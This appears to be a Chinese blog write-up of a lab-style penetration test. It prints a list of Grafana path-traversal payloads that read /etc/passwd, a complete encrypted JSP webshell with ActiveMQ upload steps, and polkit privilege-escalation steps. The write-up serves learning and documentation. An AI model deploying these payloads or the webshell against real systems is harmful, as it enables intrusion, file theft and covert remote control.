【实战案例】—一次渗透测试实战

• 前言

• 信息收集

• 漏洞验证

• 漏洞攻击

• 
  

• 一、漏洞描述

• 二、漏洞影响范围

• 三、漏洞利用：

• 写入webshell

• 一、漏洞描述

• 二、漏洞影响范围

• Payload：

• Grafana任意文件读取漏洞（CVE-2021-43798）

• 
  

• ActiveMQ 任意文件上传漏洞（CVE-2016-3088）

• 
  

• 权限提升

• 
  

• 一、漏洞描述

• 二、影响版本

• 三、漏洞利用

• CVE-2021-4034 Linux polkit 提权漏洞

• 
  

• 总结

前言

学习了一两个月的安全，为了对自己的一个学习水平做一个总结，所以我特地找来一个网站来进行一次渗透实战。

信息收集

这次的网站只有一个ip地址，但是发现直接访问这个ip地址返回的是连接超时无法访问

所以这时候就需要我们就得进行一个信息收集找到跟着ip有关的网站进行一个渗透测试。
通常信息收集的第一步是进行子域名收集，但由于本次我测试的网站直接就是一个真实ip，所以就直接从搜索这个ip是否有相关端口开发并进行利用。

通常进行端口扫描是使用nmap进行扫描，但我这里直接使用fofa进行资产收集

通过fofa搜集我发现了关于这个ip的端口开放了以下端口：3000、8888、8161、9200、8080、8001六个端口。
通过测试发现只有3000、8888、8161三个端口可以正常访问，所以我们就可以从这3个端口下手。
这三个端口访问内容如下
3000端口

8888端口

8161端口

搜集完他们的端口后我先使用dirsearch后台扫描工具对这三个网站进行一个扫描，看看是否有敏感文件。

扫描后发现8888端口有3个可疑敏感文件

扫描后发现3000端口有6个可疑敏感文件

扫描后发现8161端口有3个可疑敏感文件


扫描完后台后我们查看网页内容可以发现，3个网站分别是使用3个不同的中间件来搭建的网站，所以我们可以查看网站版本并上网查询此版本是否有漏洞可以利用。
百度后发现
3000端口的Grafana网站下方版本为8.2.5所以极可能存在任意文件读取漏洞

通过输入错误文件目录我们发现可以获取8888端口的nginx的版本为1.21.5

百度后发现这版本没有什么漏洞
而端口8161的apache网站主页并未发现网站版本，但是有一个登陆界面，我们可能可以尝试使用字典爆破等方法尝试绕过。

漏洞验证

首先对上述后台扫描的文件进行一个测试发现
3000端口

都没有可以利用的文件，所以只能从相关版本漏洞来测试了。

通过测试8161端口只发现一个302跳转页面提示

发现暂时也没有可以利用的地方，所以只能尝试能否登陆进后台下手了。

通过测试8888端口发现www.root.7z这个压缩包下载下来后打开发现

这明显是一个base64的编码，所以我们需要对他进行一个解码


通过在这得到了一个账户和密码，我立马联想是否可以登录到apache的网站
输入后发现果然可以登录上apache网站

登录后发现告诉了我们apache的版本，所以我们可以去查找此版本的相关漏洞进行验证
通过百度发现此版本可能存在任意文件上传漏洞

漏洞攻击

Grafana任意文件读取漏洞（CVE-2021-43798）

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。

影响版本：
Grafana 8.0.0 - 8.3.0

安全版本：
Grafana 8.3.1, 8.2.7, 8.1.8, 8.0.7

/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

通过burpsuit抓包修改进行攻击

可以通过脚本来批量验证POC

最后发现flag

ActiveMQ 任意文件上传漏洞（CVE-2016-3088）

该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。

Apache ActiveMQ 5.0.0 - 5.13.2

文件写入有几种利用方法：

1.写入webshell
2.写入cron 或ssh key 等文件
3.写入jar 或 jetty.xml 等库和配置文件
写入webshell的好处是门槛低，方便，但是fileserver不解析jsp，admin和api两个应用都需要登录才能访问，所以有点鸡肋，写入cron 和ssh key 好处是直接反弹拿shell，也比较方便，缺点是需要root权限，写入jar，稍微麻烦点（需要jar后门 ），写入xml配置文件，这个方法比较靠谱，但有个鸡肋点是，我们需要activemq的绝对路径。

EXP：

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
1

写入webshell需要写在admin或api应用中，而这俩应用都需要登录才能访问。我们之前已经登录过了，访问admin/test/systemProperties.jsp可以查看ActiveMQ的绝对路径

然后通过burpsuit抓包构造PUT请求，当返回204状态码则说明文件上传成功

访问fileserver/shell.jsp则会将我们写入的shell展示出来，如下图所示

MOVE请求，将该文件移动到/admin/中,让脚本进行解析，显示204说明上传成功

上传完后通过burpsuit抓取一下GET包请求头

使用冰蝎进行webshell连接



连接后通过ls命令查看了当前目录文件，可以发现目录下有CVE-2021-4034的相关文件，通过whoami和id命令发现只有user权限没有root权限
通过百度发现CVE-2021-4034是一个权限提升的漏洞，所以我们可以尝试通过这个漏洞进行一个权限提升。

权限提升

CVE-2021-4034 Linux polkit 提权漏洞

Polkit 在系统层级进行权限控制，提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同，Polkit 并没有赋予进程完全的 root 权限，而是通过一个集中的策略系统进行更精细的授权。

目前在CVE官网上没有列举详细的影响版本范围，升级到最新版本即可。当前最新版本 polkit-0.112-26.el7_9.1

1.下载EXP，地址：https://github.com/berdav/CVE-2021-4034
2.在下载的文件夹直接make编译
3.执行./cve-2021-4034
4.提权成功
成功效果图

但是我在使用的冰蝎时发现目录中的EXP不完整，无法进行一个漏洞利用，而且gcc命令未安装，但是安装相关命令需要root权限，所以导致没法提升至root权限。暂时还没找到其他方法进行权限提升，若后续找到方法会重新更新。

总结

通过这一次渗透测试的实战经历，让我对自己的信息收集和漏洞利用方面的思路得到了提升，但在权限提升，内网渗透方面学习的比较浅，还需要继续学习。

参考文献
ActiveMQ 任意文件上传漏洞（CVE-2016-3088）.
CVE-2021-4034 Linux polkit 提权漏洞复现与修复.
Grafana任意文件读取漏洞(CVE-2021-43798).

原文始发于微信公众号（白帽子程序员）：【实战案例】—一次渗透测试实战